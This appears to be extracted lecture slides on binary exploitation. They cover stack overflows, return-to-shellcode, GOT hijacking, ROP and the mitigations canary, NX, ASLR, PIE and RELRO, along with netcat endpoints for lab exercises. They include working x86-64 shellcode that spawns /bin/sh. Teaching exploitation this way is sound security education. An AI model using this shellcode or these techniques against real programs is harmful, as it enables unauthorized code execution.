0x7fffffffefe0 ‘aaaaaaaa’

0x7fffffffefe8 ‘aaaaaaaa’ rbp, rsp

400677: leave 0x7fffffffeff0 ‘aaaaaaaa’


400678: ret
0x7fffffffeff8

0x7ffffffff000

mov rsp, rbp stack


pop rbp
Buffer Overflow
rsp = 0x7fffffffeff0
rbp = 0x6161616161616161
rip = 0x400678
0x7fffffffefd8 ‘aaaaaaaa’

0x7fffffffefe0 ‘aaaaaaaa’

0x7fffffffefe8 ‘aaaaaaaa’

400677: leave 0x7fffffffeff0 ‘aaaaaaaa’ rsp


400678: ret
0x7fffffffeff8

0x7ffffffff000

mov rsp, rbp stack


pop rbp
Buffer Overflow
rsp = 0x7fffffffeff8
rbp = 0x6161616161616161
rip = 0x6161616161616161
0x7fffffffefd8 ‘aaaaaaaa’

0x7fffffffefe0 ‘aaaaaaaa’

0x7fffffffefe8 ‘aaaaaaaa’

400677: leave 0x7fffffffeff0 ‘aaaaaaaa’


400678: ret
0x7fffffffeff8 rsp

0x7ffffffff000

mov rsp, rbp stack


pop rbp
Return to Text
Return to Text
rsp = 0x7fffffffeff8
rbp = 0x6161616161616161
rip = 0x6161616161616161
0x7fffffffefd8 ‘aaaaaaaa’

0x7fffffffefe0 ‘aaaaaaaa’

0x7fffffffefe8 ‘aaaaaaaa’
void secret_func() // 0x400607
{ 0x7fffffffeff0 ‘aaaaaaaa’
// show passwords
... 0x7fffffffeff8 rsp
}
0x7ffffffff000

stack
Return to Text
rsp = 0x7fffffffeff8
rbp = 0x6161616161616161
rip = 0x400607
0x7fffffffefd8 ‘aaaaaaaa’

0x7fffffffefe0 ‘aaaaaaaa’

0x7fffffffefe8 ‘aaaaaaaa’
void secret_func() // 0x400607
{ 0x7fffffffeff0 0x400607
// show passwords
... 0x7fffffffeff8 rsp
}
0x7ffffffff000

stack
Lab 1~2
nc isc.taiwan-te.ch 10000
nc isc.taiwan-te.ch 10001
Return to Shellcode
Return to Shellcode
$ objdump -d -M intel bof

bof: file format elf64-x86-64

Disassembly of section .init:

00000000004004b0 <_init>:
4004b0: 48 83 ec 08 sub rsp, 0x8
4004b4: 48 8b 05 3d 0b 20 00 mov rax, QWORD PTR
4004bb: 48 85 c0 test rax, rax
4004be: 74 02 je 4004c2 <_init+0x12>
4004c0: ff d0 call rax
4004c2: 48 83 c4 08 add rsp, 0x8
4004c6: c3 ret
...
Return to Shellcode
• 若若有⼀一塊可寫可執⾏行行⼜又已知地址的 memory,我們就可以預
先寫好想要執⾏行行的 shellcode ,然後再覆蓋 return address
跳上去執⾏行行。
Return to Shellcode
rsp = 0x7fffffffefd8
rbp = 0x7fffffffefe8
rip =
0x7fffffffefd8 rsp

0x7fffffffefe0

0x7fffffffefe8 old rbp rbp


0x601060
0x7fffffffeff0 return address

0x7fffffffeff8

0x7ffffffff000

stack
Return to Shellcode
rsp = 0x7fffffffefd8
rbp = 0x7fffffffefe8
rip =
0x7fffffffefd8 rsp

0x7fffffffefe0

0x7fffffffefe8 old rbp rbp


0x601060 31 c0 48 bb
d1 9d 96 91 0x7fffffffeff0 return address
d0 8c 97 ff
48 f7 db 53 0x7fffffffeff8
54 5f 99 52
57 54 5e b0 0x7ffffffff000
3b 0f 05
stack
Shellcode that opens shell
Return to Shellcode
rsp = 0x7fffffffefd8
rbp = 0x7fffffffefe8
rip =
0x7fffffffefd8 ‘aaaaaaaa’ rsp

0x7fffffffefe0 ‘aaaaaaaa’

0x7fffffffefe8 ‘aaaaaaaa’ rbp


0x601060 31 c0 48 bb
d1 9d 96 91 0x7fffffffeff0 0x601060
d0 8c 97 ff
48 f7 db 53 0x7fffffffeff8
54 5f 99 52
57 54 5e b0 0x7ffffffff000
3b 0f 05
stack
Shellcode that opens shell
Return to Shellcode
rsp = 0x7fffffffeff8
rbp = 0x6161616161616161
rip = 0x601060
0x7fffffffefd8 ‘aaaaaaaa’

0x7fffffffefe0 ‘aaaaaaaa’

0x7fffffffefe8 ‘aaaaaaaa’
0x601060 31 c0 48 bb
d1 9d 96 91 0x7fffffffeff0 0x601060
d0 8c 97 ff
48 f7 db 53 0x7fffffffeff8 rsp
54 5f 99 52
57 54 5e b0 0x7ffffffff000
3b 0f 05
stack
Shellcode that opens shell
Return to Shellcode
int execve(const char *filename,
char *const argv[],
char *const envp[]);
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0

rax = 0x3b
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0

rax = 0x3b

mov rbx, 0x68732f6e69622f


push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0

rax = 0x3b

h s / n i b /
mov rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0

rax = 0x3b

rax =
rdi = mov rbx, 0x68732f6e69622f
rsi =
push rbx
rdx =
rsp = 0x7fffffffefe8
mov rdi, rsp
rbx = xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall

0x7fffffffefe8 rsp
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0

rax = 0x3b

rax =
rdi = mov rbx, 0x68732f6e69622f
rsi =
push rbx
rdx =
rsp = 0x7fffffffefe8
mov rdi, rsp
rbx = “/bin/sh” xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall

0x7fffffffefe8 rsp
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0

rax = 0x3b

rax =
rdi = mov rbx, 0x68732f6e69622f
rsi =
push rbx
rdx =
rsp = 0x7fffffffefe0
mov rdi, rsp
rbx = “/bin/sh” xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
0x7fffffffefe0 “/bin/sh” rsp

0x7fffffffefe8
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0

rax = 0x3b

rax =
rdi = 0x7fffffffefe0 -> “/bin/sh” mov rbx, 0x68732f6e69622f
rsi =
push rbx
rdx =
rsp = 0x7fffffffefe0
mov rdi, rsp
rbx = “/bin/sh” xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
0x7fffffffefe0 “/bin/sh” rsp

0x7fffffffefe8
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0

rax = 0x3b

rax =
rdi = 0x7fffffffefe0 -> “/bin/sh” mov rbx, 0x68732f6e69622f
rsi = 0x0
push rbx
rdx =
rsp = 0x7fffffffefe0
mov rdi, rsp
rbx = “/bin/sh” xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
0x7fffffffefe0 “/bin/sh” rsp

0x7fffffffefe8
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0

rax = 0x3b

rax =
rdi = 0x7fffffffefe0 -> “/bin/sh” mov rbx, 0x68732f6e69622f
rsi = 0x0
push rbx
rdx = 0x0
rsp = 0x7fffffffefe0
mov rdi, rsp
rbx = “/bin/sh” xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
0x7fffffffefe0 “/bin/sh” rsp

0x7fffffffefe8
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0

rax = 0x3b

rax = 0x3b
rdi = 0x7fffffffefe0 -> “/bin/sh” mov rbx, 0x68732f6e69622f
rsi = 0x0
push rbx
rdx = 0x0
rsp = 0x7fffffffefe0
mov rdi, rsp
rbx = “/bin/sh” xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
0x7fffffffefe0 “/bin/sh” rsp

0x7fffffffefe8
Return to Shellcode
int execve(const char *filename, rdi = address of “/bin/sh”
char *const argv[], rsi = 0x0
char *const envp[]); rdx = 0x0

rax = 0x3b

rax = 0x3b
rdi = 0x7fffffffefe0 -> “/bin/sh” mov rbx, 0x68732f6e69622f
rsi = 0x0
push rbx
rdx = 0x0
rsp = 0x7fffffffefe0
mov rdi, rsp
rbx = “/bin/sh” xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
0x7fffffffefe0 “/bin/sh” rsp

0x7fffffffefe8
Lab 3
nc isc.taiwan-te.ch 10002
Protection
Protection
• Stack Guard

• DEP

• ASLR

• PIE
Stack Guard
• 做完 function prologue 的時候會將隨機⽣生成的亂數塞入
stack 中, function return 前會檢查該亂數是否有被更更動
過,若若發現更更動就立即結束程式

• ⼜又稱 canary
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax

400719: mov rcx, QWORD PTR [rbp-0x8]


40071d: xor rcx, QWORD PTR fs:0x28
400726: je 40072d <main+0x61>
400728: call 400550 <__stack_chk_fail@plt>
40072d: leave
40072e: ret
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax

400719: mov rcx, QWORD PTR [rbp-0x8]


40071d: xor rcx, QWORD PTR fs:0x28
400726: je 40072d <main+0x61>
400728: call 400550 <__stack_chk_fail@plt>
40072d: leave return address
40072e: ret

rax =
rcx =
stack
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax

400719: mov rcx, QWORD PTR [rbp-0x8]


40071d: xor rcx, QWORD PTR fs:0x28
400726: je 40072d <main+0x61> rbp old rbp
400728: call 400550 <__stack_chk_fail@plt>
40072d: leave return address
40072e: ret

rax =
rcx =
stack
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax

400719: mov rcx, QWORD PTR [rbp-0x8]


40071d: xor rcx, QWORD PTR fs:0x28
400726: je 40072d <main+0x61> rbp old rbp
400728: call 400550 <__stack_chk_fail@plt>
40072d: leave return address
40072e: ret

rax = 0xb35cd9c6dd55df00
rcx =
stack
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax

400719: mov rcx, QWORD PTR [rbp-0x8] 0xb35cd9c6dd55df00


40071d: xor rcx, QWORD PTR fs:0x28
400726: je 40072d <main+0x61> rbp old rbp
400728: call 400550 <__stack_chk_fail@plt>
40072d: leave return address
40072e: ret

rax = 0xb35cd9c6dd55df00
rcx =
stack
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax ‘aaaaaaaa’

‘aaaaaaaa’

‘aaaaaaaa’

400719: mov rcx, QWORD PTR [rbp-0x8]


‘aaaaaaaa’
40071d: xor rcx, QWORD PTR fs:0x28
400726: je 40072d <main+0x61> rbp ‘aaaaaaaa’
400728: call 400550 <__stack_chk_fail@plt>
40072d: leave ‘aaaaaaaa’
40072e: ret

rax =
rcx =
stack
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax 0x6161616161616161

0x6161616161616161

0x6161616161616161

400719: mov rcx, QWORD PTR [rbp-0x8] 0x6161616161616161


40071d: xor rcx, QWORD PTR fs:0x28
400726: je 40072d <main+0x61> rbp 0x6161616161616161
400728: call 400550 <__stack_chk_fail@plt>
40072d: leave 0x6161616161616161
40072e: ret

rax =
rcx =
stack
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax 0x6161616161616161

0x6161616161616161

0x6161616161616161

400719: mov rcx, QWORD PTR [rbp-0x8] 0x6161616161616161


40071d: xor rcx, QWORD PTR fs:0x28
400726: je 40072d <main+0x61> rbp 0x6161616161616161
400728: call 400550 <__stack_chk_fail@plt>
40072d: leave 0x6161616161616161
40072e: ret

rax =
rcx = 0x6161616161616161
stack
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax 0x6161616161616161

0x6161616161616161

0x6161616161616161

400719: mov rcx, QWORD PTR [rbp-0x8] 0x6161616161616161


40071d: xor rcx, QWORD PTR fs:0x28
400726: je 40072d <main+0x61> rbp 0x6161616161616161
400728: call 400550 <__stack_chk_fail@plt>
40072d: leave 0x6161616161616161
40072e: ret

rax =
rcx = 0xd23db8a7bc34be61
stack
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax 0x6161616161616161

0x6161616161616161

0x6161616161616161

400719: mov rcx, QWORD PTR [rbp-0x8] 0x6161616161616161


40071d: xor rcx, QWORD PTR fs:0x28
400726: je 40072d <main+0x61> rbp 0x6161616161616161
400728: call 400550 <__stack_chk_fail@plt>
40072d: leave 0x6161616161616161
40072e: ret

rax =
rcx = 0xd23db8a7bc34be61
stack
Stack Guard
4006cc: push rbp
4006cd: mov rbp, rsp
4006d0: sub rsp, 0x20
4006d4: mov rax, QWORD PTR fs:0x28
4006dd: mov QWORD PTR [rbp-0x8], rax 0x6161616161616161

0x6161616161616161

0x6161616161616161

400719: mov rcx, QWORD PTR [rbp-0x8] 0x6161616161616161


40071d: xor rcx, QWORD PTR fs:0x28
400726: je 40072d <main+0x61> rbp 0x6161616161616161
400728: call 400550 <__stack_chk_fail@plt>
40072d: leave 0x6161616161616161
40072e: ret

rax =
rcx = 0xd23db8a7bc34be61
stack
DEP
• Data execution prevention

• 可執⾏行行的地⽅方不能寫,可寫的地⽅方不能執⾏行行

• ⼜又稱 NX
Start End Perm Name
0x00400000 0x00401000 r-xp /mnt/hgfs/Share/ntustisc/bof
0x00600000 0x00601000 r--p /mnt/hgfs/Share/ntustisc/bof
0x00601000 0x00602000 rw-p /mnt/hgfs/Share/ntustisc/bof
0x00602000 0x00623000 rw-p [heap]
0x00007ffff79e4000 0x00007ffff7bcb000 r-xp /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bcb000 0x00007ffff7dcb000 ---p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcb000 0x00007ffff7dcf000 r--p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd1000 rw-p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dd1000 0x00007ffff7dd5000 rw-p mapped
0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7fea000 0x00007ffff7fec000 rw-p mapped
0x00007ffff7ff7000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
ASLR
• Address Space Layout Randomization

• 每次程式執⾏行行時 stack, heap, library 位置都不⼀一樣


ASLR
code VMA code VMA code VMA

data VMA data VMA data VMA

heap heap
heap

library library
library

stack
stack stack

kernel space kernel space kernel space


PIE
• Position Independent Execution

• 開啟後,code 與 data 都會跟著 ASLR


PIE
code VMA
code VMA code VMA

data VMA
data VMA data VMA

heap heap
heap

library library
library

stack
stack stack

kernel space kernel space kernel space


PIE
0000000000000678 <main>:
678: push rbp
679: mov rbp, rsp
67c: sub rsp, 0x10
680: mov edi, 0x2
685: call 64a <add>
68a: mov DWORD PTR [rbp-0x4], eax
68d: mov eax, DWORD PTR [rbp-0x4]
690: mov esi, eax
692: lea rdi, [rip+0x9b]
699: mov eax, 0x0
69e: call 520 <printf@plt>
6a3: mov eax, 0x0
6a8: leave
6a9: ret
6aa: nop WORD PTR [rax+rax*1+0x0]
GOT Hijacking
GOT Hijacking
• Lazy Binding

• Global Offset Table

• Lazy Binding Procedure

• GOT Hijacking

• RELRO
Lazy Binding
• 因為不⼀一定每個 library function 都會被執⾏行行到,所以採⽤用
lazy binding 機制,當第⼀一次執⾏行行到 library function 時才會
去尋找真正的 address 並進⾏行行 binding
Global Offset Table
• GOT 為 library function 的指標陣列列,因為 lazy binding 機
制,因此⼀一開始不會知道真實位置,取⽽而代之的是擺 plt 段
的 code
Global Offset Table
ELF Header

.init

.plt

.text

0x601018 puts@plt+6 .rodata

0x601020 read@plt+6 .got

0x601028 execve@plt+6 .data

0x601030 fflush@plt+6 .bss

GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
400546: jmp QWORD PTR [601010] <GOT+0x10>

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6

0x601020 read@plt+6 4006fc: call 400550 <puts@plt>

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
400546: jmp QWORD PTR [601010] <GOT+0x10>

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0 index
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6

0x601020 read@plt+6 4006fc: call 400550 <puts@plt>

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
400546: jmp QWORD PTR [601010] <GOT+0x10>

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6

0x601020 read@plt+6 4006fc: call 400550 <puts@plt>

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
400546: jmp QWORD PTR [601010] <GOT+0x10>

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6

0x601020 read@plt+6 4006fc: call 400550 <puts@plt>

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
400546: jmp QWORD PTR [601010] <GOT+0x10>

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6

0x601020 read@plt+6 4006fc: call 400550 <puts@plt>

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
400546: jmp QWORD PTR [601010] <GOT+0x10>

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6

0x601020 read@plt+6 4006fc: call 400550 <puts@plt>

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
400546: jmp QWORD PTR [601010] <GOT+0x10>

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6

0x601020 read@plt+6 4006fc: call 400550 <puts@plt>

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
400546: jmp QWORD PTR [601010] <GOT+0x10>

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6

0x601020 read@plt+6 4006fc: call 400550 <puts@plt>

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
<_dl_runtime_resolve_xsave> 400546: jmp QWORD PTR [601010] <GOT+0x10>

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 puts@plt+6

0x601020 read@plt+6 4006fc: call 400550 <puts@plt>

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
Lazy Binding Procedure
0000000000400540 <.plt>:
400540: push QWORD PTR [601008] <GOT+0x8>
<_dl_runtime_resolve_xsave> 400546: jmp QWORD PTR [601010] <GOT+0x10>

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x7ffff7a649c0
0x601018 <_IO_puts>

0x601020 read@plt+6 4006fc: call 400550 <puts@plt>

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
Lazy Binding Procedure

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x7ffff7a649c0
0x601018 <_IO_puts>

0x601020 read@plt+6 4006fc: call 400550 <puts@plt>

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
Lazy Binding Procedure

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x7ffff7a649c0
0x601018 <_IO_puts>

0x601020 read@plt+6 4006fc: call 400550 <puts@plt>

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
Lazy Binding Procedure

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x7ffff7a649c0
0x601018 <_IO_puts>

0x601020 read@plt+6 4006fc: call 400550 <puts@plt>

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
Lazy Binding Procedure
00007ffff7a649c0 <_IO_puts>:
...

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x7ffff7a649c0
0x601018 <_IO_puts>

0x601020 read@plt+6 4006fc: call 400550 <puts@plt>

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
GOT Hijacking
• 由於 lazy binding 的機制,GOT 可寫,因此改寫 GOT 造成
任意控制程式流程
GOT Hijacking

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 <_IO_puts>

0x601020 read@plt+6 vulnerability

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
GOT Hijacking

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 <_IO_puts>

0x601020 read@plt+6 vulnerability

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
GOT Hijacking

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 <system>

0x601020 read@plt+6 vulnerability

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
GOT Hijacking

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 <system>

0x601020 read@plt+6 vulnerability

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
GOT Hijacking

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 <system>

0x601020 read@plt+6 vulnerability

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
GOT Hijacking

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 <system>

0x601020 read@plt+6 vulnerability

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
GOT Hijacking
Without NX Enabled

0x601080 shellcode

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 <_IO_puts>

0x601020 read@plt+6 vulnerability

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
GOT Hijacking
Without NX Enabled

0x601080 shellcode

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 <_IO_puts>

0x601020 read@plt+6 vulnerability

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
GOT Hijacking
Without NX Enabled

0x601080 shellcode

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 0x601080

0x601020 read@plt+6 vulnerability

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
GOT Hijacking
Without NX Enabled

0x601080 shellcode

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 0x601080

0x601020 read@plt+6 vulnerability

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
GOT Hijacking
Without NX Enabled

0x601080 shellcode

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 0x601080

0x601020 read@plt+6 vulnerability

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
GOT Hijacking
Without NX Enabled

0x601080 shellcode

0000000000400550 <puts@plt>:
400550: jmp QWORD PTR [0x601018] <puts@GOT>
400556: push 0x0
40055b: jmp 400540 <.plt>
0x601018 0x601080

0x601020 read@plt+6 vulnerability

0x601028 execve@plt+6
40073f: call 400550 <puts@plt>
0x601030 fflush@plt+6

GOT
Lab 4
nc isc.taiwan-te.ch 10003
RELRO
• Relocation Read-Only

• Partial RELRO

• GOT 可寫

• Full RELRO

• Load time 時會將所有 function resolve 完畢

• GOT 不可寫
ROP
ROP
• What is ROP

• Why use ROP

• ROP Chain
What is ROP
• Return Oriented Programming

• 透過不斷去執⾏行行包含 ret 的程式片段來來達到想要的操作

• 這些包含 ret 的程式片段⼜又被稱作 gadget


What is ROP
4004fa: 48 83 c4 08 add rsp, 0x8
4004fe: c3 ret

4005b8: 5d pop rbp


4005b9: c3 ret

4006c4: c9 leave
4006c5: c3 ret

400730: 41 5e pop r14


400732: 41 5f pop r15
400734: c3 ret
What is ROP
400730: 41 5e pop r14
400732: 41 5f pop r15
400734: c3 ret

400731: 5e pop rsi


400732: 41 5f pop r15
400734: c3 ret

400732: 41 5f pop r15


400734: c3 ret

400733: 5f pop rdi


400734: c3 ret
Why use ROP
• Bypass DEP
Start End Perm Name
0x00400000 0x00401000 r-xp /mnt/hgfs/Share/ntustisc/bof
0x00600000 0x00601000 r--p /mnt/hgfs/Share/ntustisc/bof
0x00601000 0x00602000 rw-p /mnt/hgfs/Share/ntustisc/bof
0x00602000 0x00623000 rw-p [heap]
0x00007ffff79e4000 0x00007ffff7bcb000 r-xp /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bcb000 0x00007ffff7dcb000 ---p /lib/x86_64-linux-gnu/libc-2.27.so
